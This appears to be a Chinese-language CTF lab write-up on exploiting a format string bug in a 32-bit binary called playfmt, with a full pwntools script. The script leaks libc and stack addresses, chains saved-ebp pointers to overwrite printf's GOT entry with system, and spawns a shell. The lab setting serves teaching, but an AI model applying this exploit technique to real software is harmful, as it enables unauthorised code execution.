lab9

格式化字符串漏洞,不过是有点蛇皮的格式化字符串,学到了不少新姿势

image.png

很明显的格式化字符串,但同时也可以发现,我们的输入是写到bss段去的,那就有一个问题了,我们要怎么利用格式化字符串修改got表为system函数的地址,因为这里我们要解决怎么把某个函数的got值放到栈里面去
先看一下栈中的情况

image.png

可以发现输入放在bss段且固定在esp,但是也发现了几个有用的地址ebp1,fmt7,ebp2,fmt11,他们的格式化字符的偏移分别为6,7,10,11,我们还发现了libc_start_main+247这个真实地址,先泄漏出这个真实地址就可以得到偏移,进而算出其它函数的地址

06:0018│ ebp  0xffffcd48 —▸ 0xffffcd58 —▸ 0xffffcd68 ◂— 0x0
07:001c│      0xffffcd4c —▸ 0x8048584 (play+59) ◂— nop    
、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、
0a:0028│      0xffffcd58 —▸ 0xffffcd68 ◂— 0x0
0b:002c│      0xffffcd5c —▸ 0x80485b1 (main+42) ◂— nop

我们可以看到ebp1是指向ebp2的指针,ebp2指向一个不知名的地址,这样我们就可以得到栈的地址,因此,如果我们使用%n对ebp1进行操作,那么实际上会修改ebp2的内容,所以,如果我们将ebp2修改为指向fmt7,那么就可以对ebp2进行%n操作来修改fmt7的内容,试想,把fmt7的内容修改为printf_got,这样就实现了把got值放到栈里面去了,接下来就可能通过偏移来进行修改,但是又有另一个问题,一次只能修改2个字节,而需要修改的有4 个字节,又因为我们本来就是利用 printf 函数实现修改的,所以只能一次性修改4个字节(如果修改的不是printf函数,因为有个while循环,可以回到再利用printf函数进行第二次修改)。所以我们可以把要修改的高2 个字节放到fmt11去,同时修改两个位置,这样就可以了,那么思路就出来了。

1、先泄漏出libc_start_main的地址,算出偏移
2、利用偏移得到system等函数的地址
3、泄漏出栈地址
4、利用ebp1指向ebp2的关系修改ebp2指向fmt7,进而修改fmt7为printf_got,修改ebp2指向fmt11,进而修改fmt11为printf_got+2
5、修改fmt7和fmt11内容为system的地址
6、发送'/bin/sh'做为system 的参数执行那可

exp:

#-*-coding:utf-8-*-
#libc_start_main+247在偏移15处
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
# /lib/i386-linux-gnu/libc-2.23.so
elf = ELF('./playfmt')
libc = elf.libc 
p.recv()
#泄漏 libc_start_main 的地址 
p.sendline('%15$p')
libc_start_main = int(p.recv(),16)-247
print 'libc_start_main-->' + hex(libc_start_main)
# libc_start_main 的libc地址 
libc_start_main_libc = libc.symbols['__libc_start_main']
print 'libc_start_main_libc-->' + hex(libc_start_main_libc)
offset = libc_start_main - libc_start_main_libc
print 'offset-->' + hex(offset)
system_addr = offset + libc.symbols['system']
print 'system_addr-->' + hex(system_addr)
printf_addr = offset + libc.symbols['printf']
print 'printf_addr-->' + hex(printf_addr)  
printf_got = elf.got['printf']
print 'printf_got-->' + hex(printf_got)
# one_gadget = 0x3ac5c + offset
# print 'one_gadget-->' + hex(one_gadget)
# 修改 printf_got 为 system_addr
# 泄漏 ebp 
p.sendline('%6$p')
ebp2 = int(p.recv(),16) #10
ebp1 = ebp2-0x10 #6
fmt7 = ebp1+0x4
fmt11 = ebp2+0x4
print 'ebp1-->' + hex(ebp1)
print 'ebp2-->' + hex(ebp2)
print 'fmt7-->' + hex(fmt7)
print 'fmt11-->' + hex(fmt11)
pause()
# 先将 ebp2 指向fmt7
# gdb.attach(p,"b *0x0804853B")
p.sendline('%'+str(fmt7&0xffff)+'c%6$hn')
p.recv()
# 再将 fmt7 修改为print_got
p.sendline('%'+str(printf_got&0xffff)+'c%10$hn')
p.recv()

while True:
    p.send("n0va")
    sleep(0.1)
    data = p.recv()
    if data.find("n0va") != -1:
        break
# 现在要将 fmt11 修改为print_got+2
# 先将 ebp2 指向fmt11
p.sendline('%'+str(fmt11&0xffff)+'c%6$hn')
p.recv()
#再将 fmt11 修改为printf_got+2(即printf_got的高4位现在在printf_got+2的低4位的位置)
p.sendline('%'+str((printf_got+2)&0xffff)+'c%10$hn')
p.recv()

while True:
    p.send("n0va")
    sleep(0.1)
    data = p.recv()
    if data.find("n0va") != -1:
        break
'''
这个循环用于保证所有的字节都被输出,因为recv()一次最多只能接收0x1000
个字节,所以要进行多次recv()才能保证全部字节都输出以便进行下面的操作
需要注意的是,要构造一个字符串“n0va”来作标志,返回的大量字符串中如果
包含了这个字符串那么说明之前构造的%n写入已经完成
'''
# --------到这里fmt7放着printf_got(即printf_addr),fmt11放着printf_got+2(即printf_addr的高4位移到了低4位的位置)
# 修改printf_got 为sytem_addr   (要同时修改fmt7为print_addr的低4位,fmt11为printf_addr的高4位)
# 修改printf_got 的低4位
payload = '%'+str((system_addr&0xffff)-12)+'c%7$hn'     #在调试时发现,在'%...c'之前有3个'n0va'所以要-12才能保证正确定入
# 修改printf_got 的高4位
payload += '%'+str((system_addr>>16)-(system_addr&0xffff))+'c%11$hn'
gdb.attach(p,"b *0x0804853B")
p.sendline(payload)
p.recv()

while True:
    p.send("n0va")
    sleep(0.1)
    data = p.recv()
    if data.find("n0va") != -1:
        break
p.sendline('/bin/sh')
p.interactive()

你可能感兴趣的:(lab9)